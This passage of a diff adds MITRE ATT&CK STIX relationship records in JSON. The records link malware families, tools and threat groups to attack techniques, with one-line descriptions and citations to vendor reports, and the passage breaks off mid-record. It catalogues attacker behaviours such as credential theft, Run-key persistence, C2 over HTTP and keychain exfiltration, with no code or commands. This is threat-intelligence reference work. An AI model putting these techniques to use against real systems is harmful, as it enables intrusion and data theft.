"target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) searches for specified files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a00bb928-c644-4b77-ae9c-18c3165daa00", + "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can use the command-line utility cacls.exe to change file permissions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1d3892ec-dccb-4ba2-b82c-2c7fcafbdd00", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) transfers files from the compromised host via HTTP or HTTPS to a C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3acdd018-80a0-4005-bab9-0cf89acfa43a", + "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated with The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, Internet Explorer, Microsoft Outlook, WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2e80a049-220e-4d47-98f7-c0dbfe245cdc", + "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) can use HTTP or HTTPS for command and control to hard-coded C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a9727d1b-777a-4c3e-8bcc-e0cbff7431d8", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can steal system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c011e80b-7b86-405a-8d41-745bd37a0d10", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "[DustySky](https://attack.mitre.org/software/S0062) searches for removable media and duplicates itself onto it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) logs the keystrokes on the targeted system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9818eeca-be12-4dd3-bf9f-e33d5b409248", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) deletes its payload along with the payload's parent process after it finishes copying files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2e5039ef-913f-4808-9685-32f64f4dbf49", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of enumerating and manipulating files and directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c3ee174d-fd40-4636-97b2-afe80854f987", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has encrypted C2 traffic with RSA.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--baeff271-0885-4c44-a9d6-c03411ca9bb0", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.117Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Janicab](https://attack.mitre.org/software/S0163) captured screenshots and sent them out to a C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fc67e15c-ae09-45e1-925f-8a6b0e8ca4ab", + "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brod. (2013, July 15). Signed Mac Malware Using Right-to-Left Override Trick. Retrieved July 17, 2017.", + "source_name": "f-secure janicab", + "url": "https://www.f-secure.com/weblog/archives/00002576.html" + }, + { + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "source_name": "Janicab", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Reaver](https://attack.mitre.org/software/S0172) encrypts collected data with an incremental XOR key prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--98d3455f-49cc-4539-ba35-4b11bec0ddcd", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Windows Credential Editor](https://attack.mitre.org/software/S0005) can dump credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--935971d6-0af2-4683-971a-9acb523733fe", + "source_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved December 17, 2015.", + "source_name": "Amplia WCE", + "url": "http://www.ampliasecurity.com/research/wcefaq.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can obtain information about the local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b0791504-fc65-402b-bc47-bd96ed4abea1", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.623Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + }, + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Pupy](https://attack.mitre.org/software/S0192) adds itself to the startup folder or adds itself to the Registry key SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d38177b0-03c0-4c59-afa6-eea94a372daa", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:48.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[pngdowner](https://attack.mitre.org/software/S0067) deletes content from C2 communications that was saved to the user's temporary directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7985b09e-9241-489c-a0f2-45a6f5c782f1", + "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can delete services from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d40e67b8-49d3-4dfb-8a1b-342e841728ef", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[RTM](https://attack.mitre.org/software/S0148) samples have been signed with a code-signing certificates.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6b0b404e-7e1b-4f8f-8b78-85016f36f8e9", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and replace/modify service binaries, paths, and configs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--676d7d2c-86b6-4a59-8158-d371e5ca4f23", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.196Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--775d3c82-5863-43fa-8dfd-2f62382d53f1", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.848Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can inject files into running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--66f859b2-4bc2-4520-afd4-8f8a7b71a50c", + "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", + "source_name": "Symantec Wiarp May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2db640ab-413b-4c49-9842-3bf190c5e184", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.642Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[Crimson](https://attack.mitre.org/software/S0115) uses a custom TCP protocol for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d6c628b9-789a-416b-8abe-cd457e566346", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Psylo](https://attack.mitre.org/software/S0078) has commands to enumerate all storage devices and to find all files that start with a particular string.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--922c214d-ad32-4490-bb3f-a4db73b718d5", + "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[nbtstat](https://attack.mitre.org/software/S0102) can be used to discover local NetBIOS domain names.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--92d3b6b0-7c61-452a-a9b9-c2549357bfef", + "source_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T18:59:16.545Z", + "id": "relationship--dc4e54ed-ca71-4dd1-a61e-714222c0c76d", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "modified": "2019-05-03T16:42:19.254Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[iKitten](https://attack.mitre.org/software/S0278) will zip up the /Library/Keychains directory before exfiltrating it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--90bd9900-a78f-47da-9504-393e8ece3fac", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.080Z", + "id": "relationship--4f33536d-eb06-4eba-8765-4379e399f3b8", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "modified": "2019-03-25T12:57:18.674Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) gathers domain and account names/information through process monitoring.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ac6ce385-79d5-40bd-ab16-bd873fb1a821", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can list running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a4c59c09-2abd-4c49-8156-0ccc9214b66e", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.446Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": 